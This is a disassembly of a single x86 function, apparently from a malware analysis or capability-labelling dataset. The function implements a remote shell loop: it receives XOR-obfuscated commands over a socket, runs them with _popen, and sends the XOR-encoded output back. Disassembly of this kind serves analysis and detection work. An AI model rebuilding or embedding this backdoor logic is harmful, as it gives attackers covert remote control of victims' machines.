Function at 0x4015a0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402820
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1830
call fcn.004027c0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x1834], eax
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
push 0
push 0x800
lea ecx, [ebp - 0x1018]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
mov ecx, 0xc8
mov esi, eax
call fcn.00401280
mov ecx, dword [0x40543c]
inc ecx
mov dword [0x40543c], ecx
cmp ecx, 5
jle 0x401649
push dword [ebp - 0x1834]
call dword [sym.imp.WS2_32.dll_closesocket]
call fcn.004014c0
mov dword [ebp - 0x1834], eax
mov dword [0x40543c], 0
jmp 0x4015f3
push 6
lea eax, [ebp - 0x1018]
push str.XORKEY
push eax
call fcn.004011d0
mov eax, dword [ebp - 0x1834]
add esp, 0xc
test esi, esi
jle 0x4015f3
lea eax, [ebp - 0x1018]
push 0x403208
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__popen]
mov esi, eax
add esp, 8
mov eax, dword [ebp - 0x1834]
mov dword [ebp - 0x1838], esi
test esi, esi
je 0x4015f3
xorps xmm0, xmm0
mov dword [ebp - 0x1820], 0
movups xmmword [ebp - 0x1830], xmm0
mov dword [ebp - 0x181c], 0xf
mov byte [ebp - 0x1830], 0
push esi
lea eax, [ebp - 0x818]
mov dword [ebp - 4], 0
push 0x800
push eax
call edi
add esp, 0xc
test eax, eax
je 0x401785
nop word [eax + eax]
lea edi, [ebp - 0x818]
lea ecx, [edi + 1]
nop dword [eax]
mov al, byte [edi]
inc edi
test al, al
jne 0x4016f0
mov edx, dword [ebp - 0x181c]
sub edi, ecx
mov ecx, dword [ebp - 0x1820]
mov eax, edx
sub eax, ecx
push edi
cmp edi, eax
ja 0x401745
lea eax, [ecx + edi]
cmp edx, 0xf
mov dword [ebp - 0x1820], eax
lea esi, [ebp - 0x1830]
cmova esi, dword [ebp - 0x1830]
lea eax, [ebp - 0x818]
add esi, ecx
push eax
push esi
call sub.VCRUNTIME140.dll_memmove
mov byte [esi + edi], 0
add esp, 0xc
mov esi, dword [ebp - 0x1838]
jmp 0x401765
lea eax, [ebp - 0x818]
mov byte [ebp - 0x183c], 0
push eax
push dword [ebp - 0x183c]
lea ecx, [ebp - 0x1830]
push edi
call fcn.00401910
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgets]
lea eax, [ebp - 0x818]
push esi
push 0x800
push eax
call edi
add esp, 0xc
test eax, eax
jne 0x4016e0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__pclose]
add esp, 4
lea eax, [ebp - 0x1830]
cmp dword [ebp - 0x181c], 0xf
cmova eax, dword [ebp - 0x1830]
push eax
lea eax, [ebp - 0x1818]
push 0x800
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strcpy_s]
add esp, 0xc
lea eax, [ebp - 0x1818]
push 6
push str.XORKEY
push eax
call fcn.004011d0
add esp, 0xc
lea eax, [ebp - 0x1818]
push 0
push 0x800
push eax
push dword [ebp - 0x1834]
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x181c]
cmp ecx, 0xf
jbe 0x401826
mov edx, dword [ebp - 0x1830]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40181c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40184c
push ecx
push edx
call fcn.00401aaf
add esp, 8
mov eax, dword [ebp - 0x1834]
mov dword [ebp - 0x1820], 0
mov dword [ebp - 0x181c], 0xf
mov byte [ebp - 0x1830], 0
jmp 0x4015f3
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3